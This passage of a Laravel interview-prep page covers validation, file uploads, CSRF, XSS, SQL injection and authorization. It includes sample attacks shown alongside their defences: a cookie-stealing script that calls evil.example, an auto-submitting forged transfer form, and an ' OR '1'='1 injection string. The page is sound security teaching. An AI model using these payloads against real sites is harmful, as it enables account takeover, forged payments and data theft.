Insights into Company Bills & Payments
← PHP & Laravel

Laravel 5-Year Interview (Q26–50): Routing, Validation & Security

Understand the idea. Compare it. Explain it. Test yourself.

Question 11 of 25

Q36. What is Form Request validation?

Solution and explanation

A Form Request is a dedicated class that holds the authorization check and validation rules for one request. Laravel runs it before the controller method; if validation fails the controller never executes.

php artisan make:request StoreOrderRequest

class StoreOrderRequest extends FormRequest
{
    public function authorize(): bool
    {
        return $this->user()->can('create', Order::class);
    }

    public function rules(): array
    {
        return [
            'shipping_address_id' => ['required', Rule::exists('addresses', 'id')->where('user_id', $this->user()->id)],
            'items' => ['required', 'array', 'min:1', 'max:50'],
            'items.*.product_id' => ['required', 'integer', 'exists:products,id'],
            'items.*.quantity' => ['required', 'integer', 'min:1', 'max:10'],
            'coupon' => ['nullable', 'string', 'max:30'],
        ];
    }

    public function messages(): array
    {
        return ['items.min' => 'Your cart is empty.'];
    }

    protected function prepareForValidation(): void
    {
        $this->merge(['coupon' => $this->coupon ? strtoupper(trim($this->coupon)) : null]);
    }
}

Controller:

public function store(StoreOrderRequest $request, OrderService $orders)
{
    $order = $orders->place($request->user(), $request->validated());
    return (new OrderResource($order))->response()->setStatusCode(201);
}

What happens on failure: for browser requests Laravel redirects back with errors and old input; for JSON requests it returns 422 with an errors object.

Why it is better than validating in the controller:

  • The controller shows business flow only.
  • Rules are reusable and unit-testable.
  • authorize() keeps permission checks next to the input they protect.
  • Notice the address rule: it validates that the address belongs to this user, a security check, not just a format check.

Advanced hooks: withValidator() for cross-field rules, after() (Laravel 10+), and passedValidation() to normalise data.

Interview answer: "Form Requests hold authorization and validation, run before the controller, return 422 or redirect automatically, and keep controllers clean. I also use them to validate ownership, not just format."

Practice explaining this
Question 12 of 25

Q37. What does $request->validated() return?

Solution and explanation

  • validated() returns only the fields that have validation rules and passed them.
  • Anything the client sent without a rule is dropped.
// Client sends
{ "name": "Samsung A35", "price": 30000, "is_admin": true, "discount_percent": 100 }

// rules(): name, price only
$data = $request->validated();
// ['name' => 'Samsung A35', 'price' => 30000]   is_admin and discount_percent are gone
  • This is defence in depth against mass assignment: even if a model accidentally has is_admin in $fillable, it cannot arrive through validated data.
  • Useful variants:
$request->validated('price');                 // one key
$request->safe()->only(['name', 'price']);    // subset of validated data
$request->safe()->except(['password']);
$request->safe()->merge(['user_id' => $request->user()->id]);   // add server-side values
  • Important: values you must trust (owner id, price, status) should come from the server, not the request.
  • E-commerce example: never accept the order total from the client.
$order = Order::create([
    ...$request->safe()->only(['shipping_address_id', 'coupon']),
    'user_id' => $request->user()->id,
    'total' => $pricing->totalFor($request->validated('items')),   // computed, never trusted
    'status' => 'pending',
]);
  • Interview answer: "validated() returns only rule-checked input.
  • I build models from it, add trusted values like user_id and totals on the server, and never pass $request->all() to create()."
Practice explaining this
Question 13 of 25

Q38. $request->all() vs only() vs validated()?

Solution and explanation

$request->all();                     // every input field, including ones you never expected
$request->only(['name', 'email']);   // just these keys, but NOT validated
$request->except(['password']);      // everything except these
$request->input('address.city');     // one value, dot notation for nested arrays
$request->validated();               // only fields that passed the Form Request rules
  • Differences that matter in production:
                 Filters keys   Checks values   Safe for create()/update()
all()            no             no              no
only()           yes            no              only with separate validation
validated()      yes            yes             yes
  • Example of why only() is not enough: only(['email', 'role']) keeps the keys, but a user can still send role=admin.
  • Validation with Rule::in(['customer', 'seller']) is what stops it.
  • When all() is acceptable: logging a sanitised copy of a webhook payload, or passing input to a search filter object that whitelists keys itself.
  • Banking example: a transfer endpoint takes from_account, to_account and amount.
  • With all(), an attacker could add fee=0 or status=approved if the code later does Transfer::create($request->all()).
  • With validated() those keys never reach the model.
  • Interview answer: "all() is everything, only() filters keys but not values, validated() is filtered and checked.
  • For writes I use validated() plus server-side values."
Practice explaining this
Question 14 of 25

Q39. How do you validate unique email addresses (create and update)?

Solution and explanation

  • Registration:
'email' => ['required', 'email:rfc,dns', 'max:190', 'unique:users,email'],
  • Updating a profile, ignore the current user's own row, otherwise saving the profile unchanged fails with "email already taken":
'email' => ['required', 'email', Rule::unique('users', 'email')->ignore($this->user()->id)],
  • Extra conditions, for example a soft-deleted user should not block reuse, or uniqueness per tenant:
Rule::unique('users', 'email')->whereNull('deleted_at');
Rule::unique('employees', 'email')->where('company_id', $this->user()->company_id);
  • Case and spacing: "Sachin@Gmail.com " and "sachin@gmail.com" are the same mailbox.
  • Normalise before validating:
protected function prepareForValidation(): void
{
    $this->merge(['email' => mb_strtolower(trim((string) $this->email))]);
}
  • Validation alone is not enough under concurrency.
  • Two registration requests can both pass the unique check before either inserts.
  • Always add a database unique index and handle the duplicate-key error:
$table->string('email')->unique();

try {
    $user = User::create($data);
} catch (UniqueConstraintViolationException $e) {   // Laravel 10.33+; earlier: QueryException with code 23000
    throw ValidationException::withMessages(['email' => 'This email is already registered.']);
}
  • Interview answer: "unique rule for create, Rule::unique()->ignore() for update, normalise case first, and a unique index in the database because validation alone has a race condition."
Practice explaining this
Question 15 of 25

Q40. How do you validate and store file uploads safely?

Solution and explanation

$request->validate([
    'photo' => ['required', 'file', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048', 'dimensions:max_width=4000,max_height=4000'],
    'invoice' => ['nullable', 'file', 'mimes:pdf', 'max:5120'],
]);

$path = $request->file('photo')->store('products', 'public');     // random file name, e.g. products/8fJ2...k.webp
$product->update(['image_path' => $path]);

How Laravel checks: mimes/image inspect the file content (MIME detection), not just the extension the user chose. max is in kilobytes.

Security rules for production:

  • Never use the client's original file name as the stored name (path traversal, overwriting, ../../). store() generates a random name.
  • Store private documents (KYC, invoices, salary slips) on a non-public disk and serve them through a controller that authorizes the user, or with temporary signed URLs on S3.
  • Make sure uploaded files can never execute: the upload folder must not run PHP. An attacker renaming shell.php to shell.jpg is stopped by MIME validation plus a non-executable location.
  • Limit size at every layer: Laravel rule, PHP upload_max_filesize/post_max_size, and the web server.
  • Re-encode images (for example with Intervention Image) to strip metadata and embedded payloads; scan documents with antivirus for regulated industries.

Banking KYC example:

$path = $request->file('pan_card')->store('kyc/' . $user->id, 'private');

Route::get('/kyc/{document}', function (KycDocument $document) {
    Gate::authorize('view', $document);
    return Storage::disk('private')->download($document->path);
})->middleware('auth');

Large files (videos, bulk CSV) should be uploaded directly to object storage with pre-signed URLs, and processed by a queued job.

Interview answer: "Validate type by content and size, store under random names, keep sensitive files private behind authorization, ensure the folder cannot execute code, and process heavy files asynchronously."

Practice explaining this
Question 16 of 25

Q41. What is CSRF and how does Laravel protect against it?

Solution and explanation

  • CSRF (Cross-Site Request Forgery) tricks a logged-in user's browser into sending a request they did not intend.
  • Browsers attach cookies automatically, so the server sees a valid session.
  • Attack example: you are logged in to bank.com.
  • You open evil.com, which contains:
<form action="https://bank.com/transfer" method="POST" id="f">
    <input name="to_account" value="ATTACKER">
    <input name="amount" value="50000">
</form>
<script>document.getElementById('f').submit()</script>
  • Without protection, bank.com receives a POST with your session cookie and transfers money.
  • Laravel's defence: every session has a secret CSRF token.
  • Forms must send it back, and the VerifyCsrfToken middleware (web group) rejects POST/PUT/PATCH/DELETE requests whose token does not match, with a 419 error. evil.com cannot read the token because of the browser's same-origin policy.
<form method="POST" action="/transfer">
    @csrf
    ...
</form>
  • AJAX: send the token in a header.
<meta name="csrf-token" content="{{ csrf_token() }}">

fetch('/cart', { method: 'POST', headers: { 'X-CSRF-TOKEN': document.querySelector('meta[name=csrf-token]').content } });
  • Exclusions: third-party webhooks (Razorpay, Stripe) cannot send your token, so they are excluded from CSRF and protected by verifying the provider's signature instead.
protected $except = ['webhooks/razorpay'];    // then verify X-Razorpay-Signature in the controller
  • Extra layers: SameSite=Lax cookies (Laravel's default) block most cross-site POSTs; never change state with GET.
  • Token APIs: stateless APIs authenticated by a bearer token in the Authorization header are not vulnerable in the same way, because browsers do not attach that header automatically.
  • SPAs using Sanctum cookie authentication still need CSRF (Sanctum's /sanctum/csrf-cookie flow).
  • Interview answer: "CSRF abuses automatic cookies.
  • Laravel checks a per-session token on state-changing web requests; I include @csrf or the header, exclude only signed webhooks, and keep SameSite cookies."
Practice explaining this
Question 17 of 25

Q42. What is XSS and how does Laravel protect against it?

Solution and explanation

XSS (Cross-Site Scripting) happens when user-supplied text is placed into a page as HTML, so the browser runs an attacker's script in your site's context. The script can read the page, send requests as the user, or steal tokens stored in JavaScript.

Product review text: <script>fetch('https://evil.example/steal?c='+document.cookie)</script>

Blade escapes by default:

{{ $review->body }}    // outputs &lt;script&gt;... as harmless text
{!! $review->body !!}  // outputs raw HTML; only for content you sanitised or fully trust

Where escaping is not enough:

  • Inside JavaScript: use @json($data) or Js::from($data), not "{{ }}" inside a script tag.
  • URLs: validate that user-provided links start with http:// or https:// (javascript: links run code).
  • Attributes: always quote them; Blade escaping covers quotes inside {{ }}.

Rich text (blog posts, product descriptions edited by sellers) must be sanitised on save with an allow-list library such as HTMLPurifier, then printed with {!! !!}.

Defence in depth:

  • HttpOnly session cookies (Laravel default) so scripts cannot read them.
  • A Content-Security-Policy header that blocks inline scripts from unknown sources.
  • In React or Vue the framework escapes too; dangerouslySetInnerHTML and v-html are the equivalent of {!! !!}.

E-commerce example: a seller's product title "<img src=x onerror=alert(1)>" shows as text in {{ $product->title }}, but would execute in an admin panel that used {!! !!}. Admin screens are high-value targets because admins have more power.

Interview answer: "Blade's {{ }} escapes output; I avoid {!! !!} except for sanitised HTML, use @json in scripts, validate URLs, and add HttpOnly cookies and a CSP."

Practice explaining this
Question 18 of 25

Q43. What is SQL injection and how does Laravel prevent it?

Solution and explanation

SQL injection happens when input is concatenated into a SQL string, so the input changes the query itself.

// Vulnerable
$email = $request->input('email');          // attacker sends: ' OR '1'='1
DB::select("SELECT * FROM users WHERE email = '$email'");
// SELECT * FROM users WHERE email = '' OR '1'='1'   -> returns every user

Laravel's Query Builder and Eloquent use prepared statements with parameter binding: the SQL and the values travel separately, so a value can never become SQL.

User::where('email', $email)->first();
DB::table('users')->where('email', $email)->first();
DB::select('SELECT * FROM users WHERE email = ?', [$email]);
DB::select('SELECT * FROM users WHERE email = :email', ['email' => $email]);

Places where you can still be vulnerable:

  • Raw expressions with interpolation: whereRaw("price > $min"). Use whereRaw('price > ?', [$min]).
  • Column and table names cannot be bound. Sorting by a user-chosen column must use an allow-list:
$sort = in_array($request->sort, ['price', 'created_at', 'rating'], true) ? $request->sort : 'created_at';
$direction = $request->direction === 'asc' ? 'asc' : 'desc';
Product::orderBy($sort, $direction)->paginate(20);
  • LIKE searches: binding stops injection, but escape % and _ if they must be literal.

Least privilege: the application's database user should not have DROP or GRANT rights, so even a successful injection does less damage.

Banking example: a statement filter ?from=2026-01-01&to=2026-03-31 must be validated as dates (date rule) and bound, never inserted into a raw string.

Interview answer: "Eloquent and the Query Builder bind parameters. I avoid interpolation in raw SQL, bind values with ?, and allow-list column names for sorting."

Practice explaining this
Question 19 of 25

Q44. Authentication vs authorization?

Solution and explanation

Authentication answers "who are you?". Authorization answers "what are you allowed to do?". Authentication always comes first.

Login with email + password + OTP   ->  authenticated as user #42 (Sachin)
Sachin opens invoice #900           ->  authorized?  only if invoice #900 belongs to his company and his role may view invoices

Laravel pieces:

Authentication: guards (session for web, sanctum/passport tokens for APIs), Auth::attempt(), auth middleware
Authorization:  Gates and Policies, $this->authorize(), can middleware, @can in Blade

HTTP responses differ:

401 Unauthenticated   no valid identity -> log in
403 Forbidden         identity known, permission missing
404 Not Found         also used deliberately to hide that a record exists

Banking example:

  • Authentication: customer logs in to net banking with password + OTP. A session or token now identifies them.
  • Authorization: they may view their own accounts, transfer up to their daily limit, but not approve loans. A branch manager (different role) may approve loans up to Rs 25 lakh; above that needs a regional manager.
// AccountPolicy
public function view(User $user, Account $account): bool
{
    return $account->customer_id === $user->customer_id;
}

// TransferPolicy
public function create(User $user, Account $from, Money $amount): bool
{
    return $from->customer_id === $user->customer_id && $amount->lte($user->dailyTransferRemaining());
}

Common mistake: checking only authentication on APIs, so any logged-in user can read any record by changing the id in the URL (IDOR, Insecure Direct Object Reference). Every route that takes an id needs an authorization check.

Interview answer: "Authentication establishes identity with guards; authorization decides permissions with gates and policies. I return 401 vs 403 correctly and authorize every record access to prevent IDOR."

Practice explaining this
Question 20 of 25

Q45. What are Laravel Gates and Policies?

Solution and explanation

  • Both answer "may this user do this?".
  • Gates are closures for general abilities; Policies are classes that group permissions for one model.
  • Gate (application-wide abilities):
// AuthServiceProvider::boot()
Gate::define('access-admin', fn (User $user) => $user->hasRole('admin'));
Gate::define('export-reports', fn (User $user) => $user->hasAnyRole(['admin', 'finance']));

Gate::before(fn (User $user) => $user->isSuperAdmin() ? true : null);   // super admin bypass

if (Gate::denies('export-reports')) abort(403);
Route::get('/admin', ...)->middleware('can:access-admin');
  • Policy (model permissions):
php artisan make:policy OrderPolicy --model=Order

class OrderPolicy
{
    public function view(User $user, Order $order): bool
    {
        return $order->user_id === $user->id || $user->hasRole('support');
    }

    public function cancel(User $user, Order $order): Response
    {
        if ($order->user_id !== $user->id) return Response::denyAsNotFound();
        return $order->status === 'placed'
            ? Response::allow()
            : Response::deny('Orders can be cancelled only before dispatch.');
    }
}
  • Using them:
$this->authorize('cancel', $order);              // controller
$request->user()->can('view', $order);           // anywhere
@can('cancel', $order) <button>Cancel</button> @endcan   // Blade: hide the button
Route::post('/orders/{order}/cancel', ...)->can('cancel', 'order');
  • Hiding a button is only UX; the server-side check is the real protection.
  • Gates vs Policies:
Gates                                    Policies
General abilities (access-admin)          Actions on a model (view/update/cancel order)
Closures in a provider                    One class per model, auto-discovered
Good for a few checks                     Scales to many models and actions
  • Interview answer: "Gates for app-wide abilities, policies for model actions.
  • I authorize in controllers or routes, use Response::deny with clear messages or denyAsNotFound to hide records, and treat @can as UX only."
Practice explaining this

Showing questions 11–20 of 25